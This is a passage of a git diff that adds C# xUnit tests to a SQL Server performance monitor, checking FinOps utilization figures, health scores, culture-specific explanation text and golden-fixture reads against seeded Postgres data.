+    private const string ServerNameC = "darling-util-figures-c";
+
+    [Fact]
+    public async Task StorageTotalsAndMonthlyCost_EqualTheViewers()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live utilization-figures pin.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var idA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+        var idB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+        var idC = ServerIdHelper.GetDeterministicHashCode(ServerNameC);
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+
+            foreach (var (id, name, cost) in new[] { (idA, ServerNameA, (decimal?)1234.56m), (idB, ServerNameB, (decimal?)null), (idC, ServerNameC, (decimal?)10m) })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO servers (server_id, server_name, display_name, is_enabled, monthly_cost_usd, created_date, modified_date)
+VALUES ($1, $2, $2, TRUE, $3, $4, $4)",
+                    id, name, (object?)cost ?? DBNull.Value, DarlingMcpTestData.Naive(DateTime.UtcNow));
+            }
+
+            var stamp = DarlingMcpTestData.Naive(DateTime.UtcNow.AddMinutes(-5));
+            var older = DarlingMcpTestData.Naive(DateTime.UtcNow.AddHours(-3));
+            /* Server A at the latest snapshot: a normal file, a Hyperscale log with no total, an Azure sibling row
+               (no file id), and a file with no used size. An older snapshot must not count. */
+            await SeedAsync(connection, ct, idA, ServerNameA, stamp, "appdb", 1, "ROWS", 1000m, 400m);
+            await SeedAsync(connection, ct, idA, ServerNameA, stamp, "appdb", 2, "LOG", null, 50m);
+            await SeedAsync(connection, ct, idA, ServerNameA, stamp, "(whole database)", null, "ROWS", 128m, 23m);
+            await SeedAsync(connection, ct, idA, ServerNameA, stamp, "otherdb", 3, "ROWS", 500m, null);
+            await SeedAsync(connection, ct, idA, ServerNameA, older, "appdb", 1, "ROWS", 9999m, 1m);
+            /* Server C has only a stale snapshot, older than the two-day window. */
+            await SeedAsync(connection, ct, idC, ServerNameC, DarlingMcpTestData.Naive(DateTime.UtcNow.AddDays(-9)), "olddb", 1, "ROWS", 200m, 80m);
+
+            var viewer = new ViewerDataService(scratch.ConnectionString);
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+            try
+            {
+                foreach (var id in new[] { idA, idB, idC })
+                {
+                    var rows = await viewer.GetDatabaseSizeLatestAsync(id, cancellationToken: ct);
+                    var totals = await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(source, id, 30, ct);
+                    Assert.Equal(rows.Count > 0, totals is not null);
+                    if (totals is { } t)
+                    {
+                        Assert.Equal(DatabaseSizeRow.AllocatedTotalMb(rows), t.AllocatedMb);
+                        Assert.Equal(DatabaseSizeRow.FreeTotalMb(rows), t.FreeMb);
+                    }
+                }
+
+                Assert.Null(await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(source, idB, 30, ct));
+                var c = await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(source, idC, 30, ct);
+                Assert.Equal((200m, 120m), c!.Value);
+                var a = await FinOpsUtilizationFigures.GetLatestStorageTotalsAsync(source, idA, 30, ct);
+                Assert.Equal((1628m, 705m), a!.Value);
+
+                var servers = await viewer.GetServersAsync(ct);
+                foreach (var id in new[] { idA, idB, idC })
+                {
+                    var expected = servers.Find(s => s.ServerId == id)!.MonthlyCostUsd;
+                    Assert.Equal(expected, await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(source, id, 30, ct));
+                }
+                Assert.Equal(1234.56m, await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(source, idA, 30, ct));
+                Assert.Equal(0m, await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(source, idB, 30, ct));
+                Assert.Equal(0m, await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(source, 12345, 30, ct));
+            }
+            finally
+            {
+                await viewer.DisposeAsync();
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+
+    private static Task SeedAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct, int serverId, string serverName,
+        DateTime when, string database, int? fileId, string fileType, decimal? total, decimal? used) =>
+        DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO database_size_stats
+    (collection_id, collection_time, server_id, server_name, database_name, database_id,
+     file_id, file_type_desc, file_name, physical_name, total_size_mb, used_size_mb)
+VALUES ($1, $2, $3, $4, $5, NULL, $6, $7, $8, NULL, $9, $10)",
+            CollectionIdGenerator.Next(), when, serverId, serverName, database, (object?)fileId ?? DBNull.Value,
+            fileType, database + "_" + fileType, (object?)total ?? DBNull.Value, (object?)used ?? DBNull.Value);
+}
diff --git a/Darling/Darling.Tests/FinOpsUtilizationFiguresTests.cs b/Darling/Darling.Tests/FinOpsUtilizationFiguresTests.cs
new file mode 100644
index 0000000000..27984ff4c4
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsUtilizationFiguresTests.cs
@@ -0,0 +1,180 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Globalization;
+using System.Linq;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>Each Utilization figure helper equals the inline expression the viewer used to hold.</summary>
+public sealed class FinOpsUtilizationFiguresTests
+{
+    private static UtilizationEfficiencyDto Dto(string status, int edition = 0, decimal avg = 12.5m, int max = 40,
+        decimal p95 = 35m, int total = 8000, int bp = 4000, int phys = 8000, long waiters = 0, long timeouts = 0,
+        long forced = 0, int maxWorkers = 512, int? curWorkers = 100) =>
+        new(avg, max, p95, 100, total, 8000, phys, bp, 1m, waiters, timeouts, forced, 0m, maxWorkers, curWorkers, 8, edition, status);
+
+    [Theory]
+    [InlineData(0, 0)]
+    [InlineData(-5, 10)]
+    [InlineData(8000, 4000)]
+    [InlineData(8000, 8000)]
+    [InlineData(1000, 1500)]
+    public void StolenMemoryPct_EqualsTheOldExpression(int total, int bp)
+    {
+        var old = total > 0 ? (double)(total - bp) / total * 100.0 : 0;
+        Assert.Equal(old, FinOpsUtilizationFigures.StolenMemoryPct(total, bp));
+    }
+
+    [Theory]
+    [InlineData(0, 0)]
+    [InlineData(100, 0)]
+    [InlineData(4000, 8000)]
+    [InlineData(9000, 8000)]
+    public void BufferPoolPct_EqualsTheOldExpression(int bp, int phys)
+    {
+        var old = phys > 0 ? (double)bp / phys * 100.0 : 0;
+        Assert.Equal(old, FinOpsUtilizationFigures.BufferPoolPct(bp, phys));
+    }
+
+    [Theory]
+    [InlineData(0, 0)]
+    [InlineData(0, 50)]
+    [InlineData(1000, 250)]
+    [InlineData(1000, 0)]
+    public void FreeSpacePct_EqualsTheOldExpression(double allocated, double free)
+    {
+        var a = (decimal)allocated;
+        var f = (decimal)free;
+        Assert.Equal(a > 0 ? f / a * 100m : 100m, FinOpsUtilizationFigures.FreeSpacePct(a, f));
+    }
+
+    [Theory]
+    [InlineData("", false)]
+    [InlineData("RIGHT_SIZED", true)]
+    [InlineData("NOT_APPLICABLE", true)]
+    public void HasCpuSample_MatchesTheViewerRow(string status, bool expected)
+    {
+        var dto = Dto(status);
+        Assert.Equal(expected, FinOpsUtilizationFigures.HasCpuSample(dto));
+        Assert.Equal(expected, PerformanceMonitor.Darling.Viewer.UtilizationEfficiencyRow.From(dto).HasCpuSample);
+    }
+
+    [Fact]
+    public void HealthScore_HandComputed_P95Of35_HalfBufferPool_TwentyFree_Is82()
+    {
+        Assert.Equal(82, FinOpsUtilizationFigures.HealthScore(Dto("RIGHT_SIZED"), 20m));
+        Assert.Equal(82, FinOpsUtilizationFigures.HealthScore(true, 35m, 8000, 4000, 20m));
+    }
+
+    [Theory]
+    [InlineData("RIGHT_SIZED", 0, 20)]
+    [InlineData("", 0, 20)]
+    [InlineData("", 8000, 20)]
+    [InlineData("UNDER_PROVISIONED", 8000, 20)]
+    [InlineData("RIGHT_SIZED", 8000, 100)]
+    [InlineData("RIGHT_SIZED", 8000, -15)]
+    public void HealthScore_EqualsTheOriginalFormula(string status, int phys, int freeWhole)
+    {
+        var free = (decimal)freeWhole;
+        var dto = Dto(status, phys: phys);
+        var hasCpu = dto.ProvisioningStatus.Length > 0;
+        var expected = FinOpsHealthCalculator.Overall(
+            hasCpu ? FinOpsHealthCalculator.CpuScore(dto.P95CpuPct) : null,
+            FinOpsHealthCalculator.MemoryScore(phys > 0 ? (decimal)dto.BufferPoolMb / phys : 0m),
+            FinOpsHealthCalculator.StorageScore(free));
+        Assert.Equal(expected, FinOpsUtilizationFigures.HealthScore(dto, free));
+        var row = PerformanceMonitor.Darling.Viewer.UtilizationEfficiencyRow.From(dto);
+        row.FreeSpacePct = free;
+        Assert.Equal(expected, row.ComputeHealthScore());
+    }
+
+    [Fact]
+    public void ToDto_RoundTripsEveryField()
+    {
+        var dto = new UtilizationEfficiencyDto(1.5m, 2, 3.5m, 4L, 5, 6, 7, 8, 9.5m, 10L, 11L, 12L, 13.5m, 14, 15, 16, 17, "STATUS_X");
+        Assert.Equal(dto, PerformanceMonitor.Darling.Viewer.UtilizationEfficiencyRow.From(dto).ToDto());
+    }
+
+    [Fact]
+    public void HealthBand_AgreesWithScoreColor_ForEveryScore()
+    {
+        var scores = Enumerable.Range(0, 101).Concat(new[] { -1, 101, int.MinValue, int.MaxValue });
+        foreach (var score in scores)
+        {
+            var expected = FinOpsHealthCalculator.ScoreColor(score) switch
+            {
+                "#27AE60" => "good",
+                "#F39C12" => "fair",
+                _ => "poor"
+            };
+            Assert.Equal(expected, FinOpsUtilizationFigures.HealthBand(score));
+        }
+    }
+
+    [Theory]
+    [InlineData("RIGHT_SIZED", 0)]
+    [InlineData("RIGHT_SIZED", 5)]
+    [InlineData("OVER_PROVISIONED", 0)]
+    [InlineData("OVER_PROVISIONED", 5)]
+    [InlineData("UNDER_PROVISIONED", 0)]
+    [InlineData("NOT_APPLICABLE", 0)]
+    [InlineData("", 0)]
+    public void Explanation_EqualsTheOldSwitch_InTheCurrentCulture(string status, int edition)
+    {
+        var dto = Dto(status, edition, p95: 90m, waiters: 2);
+        var bpPct = dto.PhysicalMemoryMb > 0 ? (double)dto.BufferPoolMb / dto.PhysicalMemoryMb * 100.0 : 0;
+        var azure = ServerHardwareScope.HardwareIsTheHosts(dto.EngineEdition);
+        var old = dto.ProvisioningStatus switch
+        {
+            "RIGHT_SIZED" => ServerHardwareScope.RightSizedExplanation(dto.AvgCpuPct, dto.P95CpuPct, bpPct, azure),
+            "OVER_PROVISIONED" => ServerHardwareScope.OverProvisionedExplanation(dto.AvgCpuPct, dto.MaxCpuPct, bpPct, azure),
+            "UNDER_PROVISIONED" => ProvisioningVerdict.UnderProvisionedReason(
+                dto.P95CpuPct, dto.MaxGrantWaiters, dto.GrantTimeouts, dto.ForcedGrants, dto.MaxWorkersCount, dto.CurrentWorkersCount),
+            ProvisioningVerdict.NotApplicable => ProvisioningVerdict.NotApplicableExplanation,
+            _ => ""
+        };
+        Assert.Equal(old, FinOpsUtilizationFigures.Explanation(dto, CultureInfo.CurrentCulture));
+    }
+
+    [Fact]
+    public void Explanation_UsesTheCultureItIsGiven_AndRestoresTheCaller()
+    {
+        var dto = Dto("RIGHT_SIZED", avg: 12.5m);
+        var before = CultureInfo.CurrentCulture;
+        var de = FinOpsUtilizationFigures.Explanation(dto, CultureInfo.GetCultureInfo("de-DE"));
+        Assert.Contains("12,5", de, System.StringComparison.Ordinal);
+        Assert.Same(before, CultureInfo.CurrentCulture);
+        Assert.Contains("12.5", FinOpsUtilizationFigures.Explanation(dto, CultureInfo.InvariantCulture), System.StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Explanation_InvariantIgnoresTheThreadCulture_AndCurrentCultureIsThreaded()
+    {
+        var dto = Dto("RIGHT_SIZED", avg: 12.5m);
+        var before = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = CultureInfo.GetCultureInfo("en-US");
+            var underEn = FinOpsUtilizationFigures.Explanation(dto, CultureInfo.InvariantCulture);
+            CultureInfo.CurrentCulture = CultureInfo.GetCultureInfo("de-DE");
+            var underDe = FinOpsUtilizationFigures.Explanation(dto, CultureInfo.InvariantCulture);
+            Assert.Equal(underEn, underDe);
+            Assert.Contains("12.5", underDe, System.StringComparison.Ordinal);
+            var current = FinOpsUtilizationFigures.Explanation(dto, CultureInfo.CurrentCulture);
+            Assert.Contains("12,5", current, System.StringComparison.Ordinal);
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = before;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsUtilizationGoldenLiveTests.cs b/Darling/Darling.Tests/FinOpsUtilizationGoldenLiveTests.cs
new file mode 100644
index 0000000000..377bd4fc70
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsUtilizationGoldenLiveTests.cs
@@ -0,0 +1,285 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Golden-fixture pin for the three FinOps Utilization reads (<c>GetUtilizationEfficiencyAsync</c>,
+/// <c>GetProvisioningTrendAsync</c>, <c>GetMemoryGrantEfficiencyAsync</c>). A deterministic seeded store is read
+/// through the reads and the results are serialized (declaration-order properties with a public setter, decimals at
+/// their stored scale, day values as offsets from the seed anchor) and compared byte-for-byte to
+/// <c>Fixtures/FinOpsUtilization/golden.json</c>. Set <c>DARLING_WRITE_GOLDEN=1</c> to regenerate the fixture.
+///
+/// <para>Five servers are seeded. Server A has rows relative to now (all inside the 24-hour window) for the
+/// point-in-time efficiency read. Server B has rows on fixed days before today's UTC midnight at fixed hours, for the
+/// two per-day reads, so the day buckets never depend on the time of day the test runs; its days reach UNDER_PROVISIONED,
+/// OVER_PROVISIONED and RIGHT_SIZED. Server C is an Azure SQL Database (engine edition 5, a vCore count that differs from
+/// its CPU count, no worker count). Server D has memory rows and no CPU rows (the empty status). Server E has CPU rows and
+/// no memory rows (the efficiency read returns null).</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class FinOpsUtilizationGoldenLiveTests
+{
+    internal const string ServerNameA = "darling-finops-util-golden-a";
+    internal const string ServerNameB = "darling-finops-util-golden-b";
+    internal const string ServerNameC = "darling-finops-util-golden-c";
+    internal const string ServerNameD = "darling-finops-util-golden-d";
+    internal const string ServerNameE = "darling-finops-util-golden-e";
+    internal static readonly int ServerIdA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+    internal static readonly int ServerIdB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+    internal static readonly int ServerIdC = ServerIdHelper.GetDeterministicHashCode(ServerNameC);
+    internal static readonly int ServerIdD = ServerIdHelper.GetDeterministicHashCode(ServerNameD);
+    internal static readonly int ServerIdE = ServerIdHelper.GetDeterministicHashCode(ServerNameE);
+
+    [Fact]
+    public Task UtilizationReads_MatchGoldenFixture_ThroughTheViewer() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var viewer = new ViewerDataService(connectionString);
+            var efficiency = new Dictionary<string, object?>
+            {
+                ["a"] = await viewer.GetUtilizationEfficiencyAsync(ServerIdA, ct),
+                ["c"] = await viewer.GetUtilizationEfficiencyAsync(ServerIdC, ct),
+                ["d"] = await viewer.GetUtilizationEfficiencyAsync(ServerIdD, ct),
+                ["e"] = await viewer.GetUtilizationEfficiencyAsync(ServerIdE, ct),
+            };
+            var trend = await viewer.GetProvisioningTrendAsync(ServerIdB, ct);
+            var grants = await viewer.GetMemoryGrantEfficiencyAsync(ServerIdB, hoursBack: 24 * 6, ct);
+            return Serialize(anchor, efficiency, trend, grants);
+        });
+
+    [Fact]
+    public Task UtilizationReads_MatchGoldenFixture_ThroughTheStorageReaderAndRowMappers() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var dataSource = NpgsqlDataSource.Create(connectionString);
+            var efficiency = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("c", ServerIdC), ("d", ServerIdD), ("e", ServerIdE) })
+            {
+                var dto = await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(dataSource, id, 30, ct);
+                efficiency[key] = dto is null ? null : UtilizationEfficiencyRow.From(dto);
+            }
+            var trend = (await DarlingFinOpsUtilizationReader.GetProvisioningTrendAsync(dataSource, ServerIdB, 30, ct))
+                .ConvertAll(ProvisioningTrendRow.From);
+            var grants = (await DarlingFinOpsUtilizationReader.GetMemoryGrantEfficiencyAsync(dataSource, ServerIdB, 24 * 6, 30, ct))
+                .ConvertAll(MemoryGrantEfficiencyRow.From);
+            return Serialize(anchor, efficiency, trend, grants);
+        });
+
+    private static async Task RunAsync(Func<string, DateTime, CancellationToken, Task<string>> read)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps utilization golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        var succeeded = false;
+        try
+        {
+            var anchor = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+            await SeedAsync(connection, anchor, ct);
+
+            var actual = await read(connectionString!, anchor, ct);
+            AssertGolden(actual);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    internal static async Task SeedAsync(NpgsqlConnection connection, DateTime anchor, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdA, ServerNameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdB, ServerNameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdC, ServerNameC, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdD, ServerNameD, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdE, ServerNameE, ct);
+
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+
+        /* Server A: four CPU samples, two memory snapshots (the newest wins), grant pressure, an Enterprise 8-core row. */
+        var cpu = new[] { 10, 20, 30, 95 };
+        for (var i = 0; i < cpu.Length; i++)
+            await InsertCpuAsync(connection, ServerIdA, ServerNameA, now.AddHours(-1 - i), cpu[i], ct);
+        await InsertMemoryAsync(connection, ServerIdA, ServerNameA, now.AddHours(-5), 6000m, 8000m, 16000m, 5000m, 512, 80, ct);
+        await InsertMemoryAsync(connection, ServerIdA, ServerNameA, now.AddHours(-2), 7000m, 8000m, 16000m, 6000m, 512, 100, ct);
+        await InsertGrantAsync(connection, ServerIdA, ServerNameA, now.AddHours(-3), 100m, 40m, 1000m, 4, 2, 1, 3, ct);
+        await InsertGrantAsync(connection, ServerIdA, ServerNameA, now.AddHours(-2), 150m, 60m, 1000m, 6, 0, null, 2, ct);
+        await InsertPropertiesAsync(connection, ServerIdA, ServerNameA, now.AddDays(-1), "Enterprise Edition", 3, 8, null, ct);
+
+        /* Server B: four fixed days at 12:00 and 13:00 UTC, varied load, an Azure SQL Database row. */
+        var avgCpu = new[] { 5, 22, 45, 80 };
+        for (var d = 0; d < 4; d++)
+        {
+            var day = anchor.AddDays(-4 + d);
+            await InsertCpuAsync(connection, ServerIdB, ServerNameB, day.AddHours(12), avgCpu[d], ct);
+            await InsertCpuAsync(connection, ServerIdB, ServerNameB, day.AddHours(13), avgCpu[d] + 7, ct);
+            await InsertMemoryAsync(connection, ServerIdB, ServerNameB, day.AddHours(12), 3000m + (d * 400m), 4000m, 8192m, 2000m, 300, 40 + d, ct);
+            await InsertGrantAsync(connection, ServerIdB, ServerNameB, day.AddHours(12), 200m + (d * 50m), 90m, 2000m, 5 + d, d, d == 2 ? null : 1, d, ct);
+            await InsertGrantAsync(connection, ServerIdB, ServerNameB, day.AddHours(13), 300m + (d * 25m), 120m, 2000m, 3, d, 0, d + 1, ct);
+        }
+        await InsertPropertiesAsync(connection, ServerIdB, ServerNameB, anchor.AddDays(-2), "SQL Azure", 5, 4, 2, ct);
+
+        /* Server B, two earlier days. Day -5 has low CPU and no memory pressure (OVER_PROVISIONED). Day -6 sits in the middle
+           band with no pressure and no grant rows (RIGHT_SIZED). */
+        var overDay = anchor.AddDays(-5);
+        await InsertCpuAsync(connection, ServerIdB, ServerNameB, overDay.AddHours(12), 4, ct);
+        await InsertCpuAsync(connection, ServerIdB, ServerNameB, overDay.AddHours(13), 9, ct);
+        await InsertMemoryAsync(connection, ServerIdB, ServerNameB, overDay.AddHours(12), 2500m, 4000m, 8192m, 1500m, 300, 30, ct);
+        await InsertGrantAsync(connection, ServerIdB, ServerNameB, overDay.AddHours(12), 100m, 40m, 2000m, 2, 0, 0, 0, ct);
+        await InsertGrantAsync(connection, ServerIdB, ServerNameB, overDay.AddHours(13), 120m, 50m, 2000m, 3, 0, 0, 0, ct);
+        var middleDay = anchor.AddDays(-6);
+        await InsertCpuAsync(connection, ServerIdB, ServerNameB, middleDay.AddHours(12), 30, ct);
+        await InsertCpuAsync(connection, ServerIdB, ServerNameB, middleDay.AddHours(13), 50, ct);
+        await InsertMemoryAsync(connection, ServerIdB, ServerNameB, middleDay.AddHours(12), 3200m, 4000m, 8192m, 2200m, 300, 60, ct);
+
+        /* Server C: an Azure SQL Database. Its vCore count (2) differs from the scheduler count (4), the workers are not collected. */
+        await InsertCpuAsync(connection, ServerIdC, ServerNameC, now.AddHours(-2), 12, ct);
+        await InsertCpuAsync(connection, ServerIdC, ServerNameC, now.AddHours(-1), 25, ct);
+        await InsertMemoryAsync(connection, ServerIdC, ServerNameC, now.AddHours(-1), 1800m, 2000m, 4096m, 900m, 0, null, ct);
+        await InsertPropertiesAsync(connection, ServerIdC, ServerNameC, now.AddDays(-1), "Standard", 5, 4, 2, ct);
+
+        /* Server D: memory rows, no CPU rows. */
+        await InsertMemoryAsync(connection, ServerIdD, ServerNameD, now.AddHours(-1), 3000m, 4000m, 8192m, 2000m, 512, 50, ct);
+        await InsertPropertiesAsync(connection, ServerIdD, ServerNameD, now.AddDays(-1), "Standard Edition", 2, 4, null, ct);
+
+        /* Server E: CPU rows, no memory rows. */
+        await InsertCpuAsync(connection, ServerIdE, ServerNameE, now.AddHours(-1), 20, ct);
+    }
+
+    private static Task InsertCpuAsync(NpgsqlConnection c, int id, string name, DateTime at, int pct, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO cpu_utilization_stats (collection_id, collection_time, server_id, server_name, sample_time, sqlserver_cpu_utilization, other_process_cpu_utilization) VALUES ($1, $2, $3, $4, $5, $6, 1)",
+            CollectionIdGenerator.Next(), at, id, name, at, pct);
+
+    private static Task InsertMemoryAsync(NpgsqlConnection c, int id, string name, DateTime at, decimal total, decimal target,
+        decimal physical, decimal bufferPool, int maxWorkers, int? currentWorkers, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO memory_stats (collection_id, collection_time, server_id, server_name, total_physical_memory_mb, total_server_memory_mb, target_server_memory_mb, buffer_pool_mb, max_workers_count, current_workers_count) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)",
+            CollectionIdGenerator.Next(), at, id, name, physical, total, target, bufferPool, maxWorkers, currentWorkers);
+
+    private static Task InsertGrantAsync(NpgsqlConnection c, int id, string name, DateTime at, decimal granted, decimal used,
+        decimal target, int grantees, int waiters, long? timeoutDelta, long forcedDelta, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO memory_grant_stats (collection_id, collection_time, server_id, server_name, target_memory_mb, granted_memory_mb, used_memory_mb, grantee_count, waiter_count, timeout_error_count_delta, forced_grant_count_delta) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)",
+            CollectionIdGenerator.Next(), at, id, name, target, granted, used, grantees, waiters, timeoutDelta, forcedDelta);
+
+    private static Task InsertPropertiesAsync(NpgsqlConnection c, int id, string name, DateTime at, string edition,
+        int engineEdition, int cpuCount, int? vcores, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, edition, engine_edition, cpu_count, vcore_count) VALUES ($1, $2, $3, $4, $5, $6, $7, $8)",
+            CollectionIdGenerator.Next(), at, id, name, edition, engineEdition, cpuCount, vcores);
+
+    private static Task CleanupAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            $"DELETE FROM cpu_utilization_stats WHERE server_id IN ({ServerIdA},{ServerIdB},{ServerIdC},{ServerIdD},{ServerIdE}); " +
+            $"DELETE FROM memory_stats WHERE server_id IN ({ServerIdA},{ServerIdB},{ServerIdC},{ServerIdD},{ServerIdE}); " +
+            $"DELETE FROM memory_grant_stats WHERE server_id IN ({ServerIdA},{ServerIdB},{ServerIdC},{ServerIdD},{ServerIdE}); " +
+            $"DELETE FROM server_properties WHERE server_id IN ({ServerIdA},{ServerIdB},{ServerIdC},{ServerIdD},{ServerIdE}); " +
+            $"DELETE FROM servers WHERE server_id IN ({ServerIdA},{ServerIdB},{ServerIdC},{ServerIdD},{ServerIdE})");
+
+    /// <summary>Serializes the three results as indented JSON: public settable properties in declaration order,
+    /// decimals at their stored scale, and every DateTime as a whole-day offset from <paramref name="anchor"/>.</summary>
+    private static string Serialize(DateTime anchor, object efficiency, object trend, object grants)
+    {
+        using var stream = new MemoryStream();
+        using (var writer = new Utf8JsonWriter(stream, new JsonWriterOptions { Indented = true }))
+        {
+            writer.WriteStartObject();
+            writer.WritePropertyName("utilizationEfficiency");
+            WriteValue(writer, efficiency, anchor);
+            writer.WritePropertyName("provisioningTrend");
+            WriteValue(writer, trend, anchor);
+            writer.WritePropertyName("memoryGrantEfficiency");
+            WriteValue(writer, grants, anchor);
+            writer.WriteEndObject();
+        }
+        return Encoding.UTF8.GetString(stream.ToArray()).ReplaceLineEndings("\n") + "\n";
+    }
+
+    private static void WriteValue(Utf8JsonWriter writer, object? value, DateTime anchor)
+    {
+        switch (value)
+        {
+            case null: writer.WriteNullValue(); break;
+            case string s: writer.WriteStringValue(s); break;
+            case bool b: writer.WriteBooleanValue(b); break;
+            case int i: writer.WriteNumberValue(i); break;
+            case long l: writer.WriteNumberValue(l); break;
+            case decimal m: writer.WriteNumberValue(m); break;
+            case DateTime t:
+                var offset = t - anchor;
+                writer.WriteStringValue($"anchor{(offset < TimeSpan.Zero ? "-" : "+")}{Math.Abs(offset.TotalDays).ToString("0.####", System.Globalization.CultureInfo.InvariantCulture)}d");
+                break;
+            case System.Collections.IDictionary map:
+                writer.WriteStartObject();
+                foreach (System.Collections.DictionaryEntry entry in map)
+                {
+                    writer.WritePropertyName((string)entry.Key);
+                    WriteValue(writer, entry.Value, anchor);
+                }
+                writer.WriteEndObject();
+                break;
+            case System.Collections.IEnumerable list:
+                writer.WriteStartArray();
+                foreach (var item in list) WriteValue(writer, item, anchor);
+                writer.WriteEndArray();
+                break;
+            default:
+                writer.WriteStartObject();
+                foreach (var p in value.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance)
+                             .Where(p => p.SetMethod is { IsPublic: true })
+                             .OrderBy(p => p.MetadataToken))
+                {
+                    writer.WritePropertyName(p.Name);
+                    WriteValue(writer, p.GetValue(value), anchor);
+                }
+                writer.WriteEndObject();
+                break;
+        }
+    }
+
+    private static string GoldenSourcePath([CallerFilePath] string testFile = "") =>
+        Path.Combine(Path.GetDirectoryName(testFile)!, "Fixtures", "FinOpsUtilization", "golden.json");
+
+    private static void AssertGolden(string actual)
+    {
+        if (Environment.GetEnvironmentVariable("DARLING_WRITE_GOLDEN") == "1")
+            File.WriteAllText(GoldenSourcePath(), actual);
+
+        var golden = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "FinOpsUtilization", "golden.json"))
+            .ReplaceLineEndings("\n");
+        Assert.Equal(golden, actual);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsUtilizationViewLiveTests.cs b/Darling/Darling.Tests/FinOpsUtilizationViewLiveTests.cs
new file mode 100644
index 0000000000..2e83b9f024
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsUtilizationViewLiveTests.cs
@@ -0,0 +1,302 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
